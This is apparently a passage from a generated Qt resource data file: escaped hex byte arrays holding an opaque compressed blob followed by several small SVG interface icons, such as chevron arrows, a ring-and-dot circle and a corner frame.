\x9c\x77\x7b\x62\xb6\x91\x53\xef\x3e\x98\x2f\xe7\x92\x52\xbc\x79\ \xc4\xeb\xde\xe2\xbd\xa3\xe6\x35\xd1\xdb\xd5\xdc\x26\x1a\x92\xf0\ \xb8\x0b\x4b\x40\x1e\xba\x29\xfa\x34\xd9\x3b\xae\xbf\x97\x14\xd0\ \x2c\x17\x93\x32\x40\x4e\x5d\x45\xaa\xfc\x7f\x3e\x13\xe1\xbb\xd7\ \x01\xc8\x54\xcc\x9f\x91\x9d\x27\x52\x1c\x3c\x10\x59\x14\xde\x8d\ \xf2\x60\x1b\x48\x35\xb8\xdd\x74\xa2\xe5\x14\xa1\xb5\xf2\xd8\xb8\ \x14\xae\xee\x77\xf5\xab\xdf\xf5\x72\x78\x7d\xf7\xc7\x59\xd4\x82\ \x08\x99\x48\x52\x23\x48\xa0\x59\xf8\x9b\xd3\xe3\x26\x0f\x89\x50\ \xbb\x4f\x23\x4e\xe2\x99\xfe\x55\xf5\xdd\xb7\x7e\x2c\x9f\xa9\x1a\ \x77\xdd\x1f\x83\x24\x4c\x66\xfd\x99\x07\xa7\x0b\x58\xcd\x41\x4f\ \x37\x71\x15\xbf\x45\xff\x0a\x8b\xe4\xe8\xc9\x58\xc4\xa0\xa2\xaf\ \x02\xef\x82\x64\xa9\x89\xd5\xc0\x26\xe8\xb6\xc5\x87\xaf\x84\xce\ \xb3\x06\xf8\x68\x61\x98\xb6\xf7\x1b\x2b\x49\xec\x7b\xfe\x9f\x0c\ \x16\x83\xae\x99\xb8\xdf\x49\xaf\x00\xf1\x71\xce\x62\x6a\x17\x10\ \x13\xf3\xc9\x2c\x08\x7d\x98\x5c\x26\x1d\x2b\x76\x4a\x23\x87\x50\ \x1a\x94\x39\xba\xcc\x63\x43\x4b\xad\x44\x91\xd9\xd8\xca\x76\x37\ \x6a\x02\xc4\x63\xb1\xb3\xbd\x5c\xd4\x10\xc7\x7a\x95\x63\x60\x6a\ \xf5\x3a\x59\x0f\x37\x31\xa6\xb7\xa2\x69\xab\xe1\xb6\xf9\x29\xb7\ \x66\x4d\x43\x2c\x57\x43\x12\x27\x42\x23\x2c\x6b\xd8\xf2\x18\x24\ \xdd\xd8\x21\x80\xc7\xe1\x55\x21\x92\xd5\xd8\x35\x16\x48\x04\x63\ \x13\xc7\xd2\x2a\x03\x6a\xf4\x97\x20\x7b\xf0\x93\xbb\xdc\x85\x74\ \x2e\x32\x10\x03\xc4\x08\x96\x4b\x3c\x1b\x62\xc8\x19\x3f\xb6\x96\ \x82\xf0\x73\xb7\xd2\xec\x4c\x1a\xaa\xf7\xa1\x40\x11\x19\x2b\x49\ \xf6\x45\x7b\x43\x4a\x57\x56\xfa\xa3\xc0\xb9\x85\xd1\x11\xc4\x58\ \xe8\xa8\x68\x24\x2a\x77\x6c\xab\x61\x22\xb2\x36\x43\x53\xee\x4a\ \xeb\xa2\xc1\x4e\xae\xcc\xb7\x25\xb2\x9d\x97\x13\x7f\x74\xca\x85\ \x95\xf9\x45\x1c\x1b\x86\x52\xfc\x68\x6f\x0b\x0e\x40\xbd\xad\x3d\ \xf9\xcf\xd6\xc6\x41\xe9\xe0\x7f\x60\x39\xf8\x1f\x14\xad\x4a\xf9\ \x51\x60\x67\xaf\x4c\x8f\x25\x23\x88\x82\xb5\x5d\xae\x5d\x22\xcc\ \xc8\xb2\x51\xc3\xa8\x52\x1a\xc4\xae\x7c\x37\x65\xcb\xd5\xd6\x9d\ \x40\x51\xb5\x2d\xb5\x04\x2e\x83\x90\x38\x86\x47\x16\x56\x0f\x8f\ \xdd\xe6\x6c\xc9\x08\x63\xe5\x71\xef\x55\x13\xa4\x2c\x29\xc4\x76\ \xdd\xed\x5c\x5c\xb7\x37\x72\x64\xac\xb6\x88\xa9\x56\xa5\x98\xd4\ \xdf\x9e\x36\xb4\xaa\x42\x93\xd7\x83\x77\x7c\x8f\x4e\x77\x1a\x60\ \xfc\x4c\x3e\x71\x50\xdb\xab\x51\xb1\x41\x50\xb6\x7d\x52\x99\xe8\ \x58\x12\xe6\xea\x28\x94\x52\x18\xda\xc5\x28\xa3\xb5\xb9\x98\xb8\ \x72\xf9\x16\xf1\xaa\xec\xb8\x46\x77\x54\x63\x62\xc9\xbc\xd3\x24\ \xcc\xae\x91\x03\xbe\xdb\x2e\x61\x7d\x44\xc4\x7e\xb1\x55\xc8\x06\ \xd2\x2b\x15\xa8\xbc\x1e\x7a\x92\x3c\x67\xc2\x16\x87\xd9\xb8\x53\ \x28\xca\xad\xb7\xc5\x12\x15\xec\x56\xfc\x6e\x09\x53\x83\x35\xfd\ \x7d\x24\x1f\x44\x50\x79\x77\xf8\x33\x06\x59\x8e\xb2\xc8\xfe\xd6\ \x94\x22\xa9\xdb\x33\x97\x74\x3b\xee\x55\xdb\x10\x8b\xd5\xbf\x0c\ \x2b\x27\xb6\x0a\x54\xd9\x6e\x5f\x86\x54\x0a\x70\x6c\x1c\xd9\x58\ \xc3\xca\x16\xa1\x7e\x4f\x90\x8d\x49\xe2\x85\xc9\x00\xba\xe5\xb7\ \xab\xea\xce\xab\x6b\x0b\xbe\x56\x81\x32\x07\x59\x06\x9b\x3c\x16\ \xa5\xfc\x04\x5b\x7e\xd1\x6c\x9f\xee\x92\x9e\xaa\xc8\xca\x27\xa4\ \xa5\x22\x89\x6d\x16\x7f\xec\xc0\xd8\x6e\xfe\xb2\x25\x0c\x28\xe5\ \xce\x76\xe4\x0b\xc8\xeb\xc1\x94\xed\xd1\x7b\x41\x04\xf9\x81\x2f\ \xb7\xf7\xc2\x22\x2a\xee\x3b\x7e\x00\x9e\x90\x94\xde\xa7\xe4\x27\ \xd8\x01\xdd\xc3\xde\x3c\x64\x13\x7c\x1b\x84\x78\x63\x7c\xd6\x5e\ \x4d\x64\xf5\x9e\xd9\x46\x9d\x76\x2b\xa6\x9b\xaa\xa4\xd9\x3a\x64\ \x36\x19\x78\x34\x77\x5b\x06\x5e\x97\x60\xe9\x6f\x85\x57\xa4\x31\ \x6b\xf9\x1e\x61\xf5\x02\x51\xbb\x0e\xac\xca\xf5\x7a\xb4\xcb\xeb\ \x63\xab\xd1\x56\x27\xa8\x06\x86\x3d\x2c\xbd\x8e\x03\x5f\x4f\x07\ \xd2\xdc\x7d\xa4\x78\x62\x33\xac\x8f\xf9\xe7\xf6\x86\x46\x07\x05\ \xd6\x3b\xed\x52\xd0\xad\x79\xf8\xac\x79\x99\xc9\x6c\x55\x31\x36\ \x75\x39\x55\xda\xf5\x93\x1d\x48\x9f\x89\x70\x65\x77\x87\xd6\xc3\ \xa8\x32\x95\xbe\x4f\x8c\xc4\x9f\x78\x45\x4a\xfe\xc2\xb1\x84\xfd\ \x10\xf2\x0a\xaf\x46\x53\x46\xbc\x5b\x06\x3c\x5e\x5e\x87\x0f\xd9\ \x45\x6b\x24\x2f\xdd\x36\xcc\x47\x9b\x5c\x68\x56\x60\x59\xe8\xef\ \x3b\x79\x6b\x09\x3f\xf7\x3d\xae\x0d\x3b\xe4\x41\xfc\xa2\x95\x6c\ \xab\x12\xf8\xa5\xd7\xc9\x0b\x12\xb1\x2d\x73\xf1\xba\x54\xb3\xe7\ \xaa\x29\x2a\x3e\x72\x70\x5c\x5a\xeb\x29\x89\x3e\xc0\xf1\x7e\x89\ \xda\x6a\x97\x6b\xab\x7d\x27\xd1\xe5\x9a\x8d\x88\x7e\x4b\x3d\x90\ \x80\xd5\xee\x24\x4a\xce\x42\x8e\xbd\x79\x45\xe4\x72\x21\x42\xb9\ \x88\x13\xa6\x04\xe5\x81\x94\xab\x22\xd7\x28\x25\x5b\xbd\xf6\x97\ \xc7\x03\x77\xec\x6b\xbe\x8d\x42\x7f\x7e\x6e\x54\x53\x79\x3f\xaa\ \xc8\xea\xe7\x27\x4f\xe1\x36\xd4\xa9\xaf\x57\x72\x4c\x6c\xe0\xa0\ \xd6\x00\x01\x2b\x38\xdb\x42\x6c\x85\xa2\x9d\xb5\x6b\x08\xd1\x6b\ \xba\x48\xa9\x74\xa2\x6b\x84\x85\x1d\x62\x53\x72\x8a\x79\x00\x95\ \xc4\x6c\x1f\x6c\x8f\xb7\xa7\xee\xa5\x70\xfc\x0a\x0e\xe9\x07\x9a\ \x46\xc6\xc8\x67\x99\x23\x1a\xdd\x4d\x94\xef\xcb\x1d\x8b\x79\xe4\ \x32\xc9\x4c\x93\x64\x19\x85\xb0\xd6\x88\x57\xe3\x38\x46\xe8\xbc\ \x30\x09\x83\xc9\x0d\x4f\x06\xc6\xd5\xb2\x0d\xd5\xcc\xa2\xd1\x6c\ \x58\x5a\xd4\x57\x83\x53\xd3\xa4\x20\xc0\x8d\x6b\x9b\xe0\x1f\x77\ \x8e\xd2\xbb\x5a\xf5\x7c\xc7\x15\x6a\xc5\xd3\x16\x85\x72\x33\x6b\ \x59\x36\xd3\x2d\x4a\x23\xdf\x30\x36\xce\xed\xa3\xd3\xb3\xca\xa9\ \xf7\x4b\xa2\x25\xdb\xbd\x11\xf1\xeb\x11\x7f\xfc\x51\xed\x84\x1f\ \xa9\xde\x2b\xde\x60\x78\x5a\xaf\x5d\xc3\xf7\xfc\x8c\xe9\xd9\x54\ \x32\xff\x73\x37\xd9\x95\x22\x6f\xa7\xa9\x05\x33\xd7\x91\xd0\xb9\ \x62\x87\xcd\x0f\x32\x6d\x13\xb0\x55\xe4\x32\x10\xe0\xb8\x2b\x6d\ \x51\x6b\x5b\xa3\x28\xcd\x81\x31\x5e\xac\xe8\x99\x92\xa7\x41\x36\ \xfd\x23\xf4\x02\x6b\x1a\xa4\x96\xe1\x9b\xd2\xec\xba\x08\x83\x34\ \xcd\xad\xca\xd5\xd9\xdc\x0a\xf7\x02\xda\x6e\xb2\xcb\x27\x90\xb5\ \x1a\x66\x8a\x29\xe5\x3c\xd4\xd3\xc7\x18\x82\x29\x7d\xe1\x54\x3a\ \x0d\xc3\xdb\x12\x7d\x28\x13\x2f\x0d\x92\x29\xec\x78\x59\xfc\x40\ \x78\xe7\xd4\x97\xc8\x26\x04\x3d\xe5\x64\x92\xa4\xe1\x94\x3c\xb0\ \x25\xe6\x3f\xd2\xbd\x33\x85\x0f\x4d\x44\xaf\x3d\x3c\x0c\x70\x77\ \x3d\x7c\xeb\xd4\xff\x73\x99\xa4\xd2\x21\xf3\x6b\xf9\x52\x00\x20\ \x9c\x74\x38\x0c\xec\x16\x0d\x93\xc9\xc3\x7c\x4e\xd3\x18\x97\x02\ \x32\x59\xc6\xb7\x54\x7a\xfb\x2d\x62\xe6\x2f\x27\xe8\x3d\x18\x89\ \xc6\xcb\x08\xd3\x67\x7a\x61\xee\xfc\x97\xb9\xbf\x5d\xc4\xec\x1a\ \x25\xdd\xcc\xe2\xdf\x29\x94\x34\x7d\x64\xad\xce\xc4\x8d\xc3\x67\ \xcb\xe3\x6f\x9b\x2d\xfa\xc5\xa6\x75\x87\x6b\x47\xdd\x72\x8b\x63\ \x5a\x1b\xe4\xd0\xef\x5b\x77\x9b\xb6\xc4\x7a\xb9\xf9\xc6\x69\xd1\ \x30\x0b\x57\x7f\x33\x26\x36\x0d\x21\x65\x3a\xdd\xb7\x4e\x76\x93\ \x8a\x9d\x4a\xe3\x29\xaa\x62\x16\x6b\x0b\x95\x7a\xa2\x9e\x12\x99\ \xce\x37\x73\x62\x0b\xff\x8b\x1c\x30\xb2\x53\xea\x84\xc2\xf6\x71\ \x19\xdd\x54\x88\xa4\xac\xd0\xe4\x25\x44\xcb\xad\x8f\x12\xc4\x26\ \xbe\x9a\xba\xd7\x76\xfe\x02\x73\xc7\xf8\x4b\xbb\xab\xcb\xbf\xb5\ \x7c\x95\x84\x0c\x8f\xce\xcf\x44\xe4\x55\xa6\x76\xde\xa1\xda\x19\ \x2f\x83\x30\xed\x06\x91\xf4\xb7\x45\xe7\xea\x10\xd3\xf6\xc0\x12\ \x95\xa6\x0f\x40\xb1\x8f\x0e\xb3\xdc\xe9\xf5\x21\x49\x91\xaa\x19\ \x9d\xe7\xef\x2f\x7b\xc5\x47\x48\x70\x33\x2d\x92\xb8\x81\xd6\xe0\ \x9f\x61\x0b\xb9\x41\xde\xa0\x4b\xc3\xbd\x37\x5f\x84\x5c\x11\x51\ \xa5\x3c\xb8\xdf\x31\x00\xf1\x60\xbf\xcd\x21\x77\x84\x55\xc4\x93\ \xcf\x41\xbf\x1f\x76\x38\xb0\x4f\xe7\x37\x9f\xa4\x5f\x2a\x76\x0b\ \x23\xf5\xa0\x5e\x64\x46\x27\x73\x9e\x48\x2e\x42\x2b\x2c\xfc\xe1\ \x07\x5e\xc8\xae\x35\x5f\xe3\x77\xc7\xfc\x8b\x58\x85\x31\x27\xf0\ \x5d\x10\x86\xfc\xed\x92\x07\xd1\x12\xfe\x4a\x52\x0f\x33\x80\xf9\ \x99\xf3\x2b\xb0\x44\xff\x9e\x69\x4a\x50\x90\xa0\x2a\x93\x25\xe8\ \x42\x2f\x21\xef\x4e\x41\x64\x60\xbb\x07\x50\xa5\xe3\xf0\x5b\x76\ \x47\xb9\x57\xfa\x1d\xe5\x19\x89\x28\xa6\x22\x62\x04\x87\x2b\x0e\ \x7c\xc9\xb9\xac\x37\xc1\x75\x1a\x26\xf4\x2e\xd3\xe7\x5f\x2b\x07\ \x69\xc3\xf3\x5a\xd4\x9c\x63\x66\x38\x5c\xc5\x42\x7c\x98\x2b\x4a\ \xf8\x52\x11\x20\x5b\xd1\x5b\xa4\x2f\x9a\xe2\xcf\x3b\xfe\x48\x0b\ \x2c\x2b\x5c\xf9\xab\xb7\x5c\x7c\x3a\x61\x31\x7f\xae\x25\xd9\x30\ \xea\x0a\x5f\x73\xe0\x87\xde\x68\x8a\xeb\x85\xe0\x66\xa2\xbc\xbd\ \xb9\x70\x44\xc1\x24\x7b\xdf\x0b\x7f\x4e\x29\xd4\x22\x72\xb7\x2a\ \x9c\xb6\x97\xe8\xe2\x09\x3c\x04\xc9\x45\xb3\x73\xc6\x38\x01\x05\ \x27\x05\xf7\x50\x17\x6c\xc8\x1d\xa6\xcd\x81\xca\xe4\x5b\x20\x21\ \x86\x66\xcc\xee\xa5\x69\x36\xe9\xe2\x3d\x1a\x77\xdb\x4e\xf0\xec\ \xb8\x44\xa3\xaa\xde\xa0\x0b\xe2\x3c\xa1\x36\x17\x7a\x51\xfe\x51\ \x94\xeb\xbb\x72\xd5\xd0\xe1\xb3\xaf\xda\x15\xb3\x28\xc9\x66\xec\ \xc6\xdd\x86\xdd\xd8\x1a\x2c\x68\x54\xd1\x44\xf3\x71\xd2\x1a\x81\ \x58\xd0\xd4\xdd\x8a\x17\x5b\x9a\x25\x8a\x59\xd6\x56\x58\xaa\x37\ \x2a\x24\x08\x03\x89\x5f\x2c\x58\x9c\x92\x07\x2a\xa6\x9b\x14\x68\ \x9c\xbf\xd8\x14\x5d\xf4\xf3\xfa\x5a\x8f\x50\x50\xdd\x29\xb6\xd4\ \xfa\xcd\x2e\x51\x24\x8c\x07\x9a\xb4\xe4\xe9\x8c\x86\x0b\x77\x13\ \x2c\xb5\x34\x8a\x98\xbb\x49\xc4\x2c\x0d\xb8\xfa\x68\x89\x99\x1f\ \x24\x13\x10\x77\x77\x2b\x59\xc1\xbc\xd2\xcc\x55\x4c\xee\x16\x23\ \x3e\xe1\x54\x98\xc4\x01\x5f\xa4\x2c\x40\x65\xad\x8f\xaa\x8a\x8e\ \x91\x06\x21\x88\xa6\x38\xfb\x79\x3a\x34\x37\x10\xad\x96\x03\x8e\ \x8a\x9e\xa9\x00\xa2\xaa\x38\x20\xdc\x79\x31\x06\x91\x54\x00\x90\ \x35\x8a\x8e\xe5\xf8\x56\x61\xc2\xe6\x54\xc4\xbc\x64\xa9\xdc\x13\ \xaa\xf4\x8f\xe0\xaf\x11\xd9\x50\x5a\x15\xb4\x64\xfb\x1d\x83\xed\ \xc4\xf6\x66\x8d\xcd\xc9\xa0\xb0\x0d\xcc\xce\x3a\xff\x07\xef\x9c\ \x39\x00\ \x00\x00\x02\x21\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x34\x30\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x33\x36\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\ \x63\x61\x6c\x65\x28\x32\x30\x29\x20\x74\x72\x61\x6e\x73\x6c\x61\ \x74\x65\x28\x33\x20\x35\x2e\x35\x29\x22\x3e\x0d\x0a\x20\x20\x20\ \x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x6d\x20\x30\x2e\x39\x31\ \x36\x36\x39\x37\x32\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\ \x33\x2e\x33\x31\x30\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\ \x30\x38\x20\x2d\x33\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\ \x33\x31\x30\x35\x34\x30\x38\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\ \x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\ \x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\ \x34\x20\x30\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x20\x30\x2e\ \x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\ \x20\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\ \x37\x31\x32\x33\x20\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\ \x20\x6c\x20\x33\x2e\x35\x39\x37\x33\x31\x30\x32\x2c\x2d\x33\x2e\ \x35\x39\x36\x31\x32\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\ \x63\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x31\ \x35\x37\x37\x31\x32\x34\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\ \x2c\x2d\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\ \x2e\x35\x37\x31\x31\x37\x34\x38\x20\x4c\x20\x31\x2e\x34\x38\x36\ \x34\x31\x33\x34\x2c\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\ \x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\ \x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\ \x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\ \x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x2d\x30\x2e\x31\x35\x36\ \x32\x38\x31\x33\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\ \x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\ \x36\x32\x34\x33\x20\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\ \x37\x31\x31\x37\x34\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\ \x22\x23\x33\x33\x61\x34\x64\x66\x22\x20\x66\x69\x6c\x6c\x2d\x6f\ \x70\x61\x63\x69\x74\x79\x3d\x22\x30\x2e\x35\x22\x2f\x3e\x0d\x0a\ \x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \ \x00\x00\x00\xb0\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x63\x69\x72\x63\x6c\x65\x20\x63\x78\x3d\x22\x35\x30\x22\ \x20\x63\x79\x3d\x22\x35\x30\x22\x20\x72\x3d\x22\x33\x35\x22\x20\ \x73\x74\x72\x6f\x6b\x65\x3d\x22\x23\x36\x61\x36\x65\x37\x31\x22\ \x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x31\ \x30\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x2f\ \x3e\x0d\x0a\x20\x20\x3c\x63\x69\x72\x63\x6c\x65\x20\x63\x78\x3d\ \x22\x35\x30\x22\x20\x63\x79\x3d\x22\x35\x30\x22\x20\x72\x3d\x22\ \x31\x37\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x36\x61\x36\x65\x37\ \x31\x22\x20\x2f\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x00\xd1\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x30\x22\x20\x68\ \x65\x69\x67\x68\x74\x3d\x22\x39\x30\x22\x3e\x0d\x0a\x20\x20\x3c\ \x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\x63\x61\ \x6c\x65\x28\x35\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\x61\ \x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\ \x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\ \x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\ \x23\x36\x61\x36\x65\x37\x31\x22\x2f\x3e\x0d\x0a\x20\x20\x20\x20\ \x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\ \x68\x2d\x31\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\ \x31\x33\x2e\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\ \x6c\x6c\x3d\x22\x23\x36\x61\x36\x65\x37\x31\x22\x2f\x3e\x0d\x0a\ \x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \ \x00\x00\x02\x21\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x34\x30\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x33\x36\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\ \x63\x61\x6c\x65\x28\x32\x30\x29\x20\x74\x72\x61\x6e\x73\x6c\x61\ \x74\x65\x28\x33\x20\x35\x2e\x35\x29\x22\x3e\x0d\x0a\x20\x20\x20\ \x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x6d\x20\x30\x2e\x39\x31\ \x36\x36\x39\x37\x32\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\ \x33\x2e\x33\x31\x30\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\ \x30\x38\x20\x2d\x33\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\ \x33\x31\x30\x35\x34\x30\x38\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\ \x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\ \x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\ \x34\x20\x30\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x20\x30\x2e\ \x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\ \x20\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\ \x37\x31\x32\x33\x20\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\ \x20\x6c\x20\x33\x2e\x35\x39\x37\x33\x31\x30\x32\x2c\x2d\x33\x2e\ \x35\x39\x36\x31\x32\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\ \x63\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x31\ \x35\x37\x37\x31\x32\x34\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\ \x2c\x2d\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\ \x2e\x35\x37\x31\x31\x37\x34\x38\x20\x4c\x20\x31\x2e\x34\x38\x36\ \x34\x31\x33\x34\x2c\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\ \x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\ \x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\ \x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\ \x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x2d\x30\x2e\x31\x35\x36\ \x32\x38\x31\x33\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\ \x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\ \x36\x32\x34\x33\x20\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\ \x37\x31\x31\x37\x34\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\ \x22\x23\x34\x62\x34\x62\x34\x62\x22\x20\x66\x69\x6c\x6c\x2d\x6f\ \x70\x61\x63\x69\x74\x79\x3d\x22\x31\x2e\x30\x22\x2f\x3e\x0d\x0a\ \x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \ \x00\x00\x01\xfb\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x30\x22\x20\x68\ \x65\x69\x67\x68\x74\x3d\x22\x39\x30\x22\x3e\x0d\x0a\x20\x20\x3c\ \x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\x63\x61\ \x6c\x65\x28\x31\x30\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\ \x61\x74\x68\x20\x64\x3d\x22\x6d\x20\x30\x2e\x39\x31\x36\x36\x39\ \x37\x32\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\x33\x2e\x33\ \x31\x30\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\ \x2d\x33\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\ \x35\x34\x30\x38\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\ \x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\ \x37\x37\x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\ \x2c\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x20\x30\x2e\x31\x35\x37\ \x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x30\x2e\ \x34\x31\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\ \x33\x20\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\ \x33\x2e\x35\x39\x37\x33\x31\x30\x32\x2c\x2d\x33\x2e\x35\x39\x36\ \x31\x32\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x30\ \x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\ \x31\x32\x34\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\ \x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\ \x31\x31\x37\x34\x38\x20\x4c\x20\x31\x2e\x34\x38\x36\x34\x31\x33\ \x34\x2c\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x2d\ \x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\ \x31\x32\x34\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\ \x30\x2e\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x35\x37\x31\ \x31\x33\x36\x39\x2c\x30\x20\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\ \x33\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\ \x35\x36\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\ \x33\x20\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\ \x37\x34\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\ \x31\x33\x36\x33\x62\x22\x2f\x3e\x0d\x0a\x20\x20\x3c\x2f\x67\x3e\ \x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x01\x08\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x34\x30\x35\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x32\x39\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\ 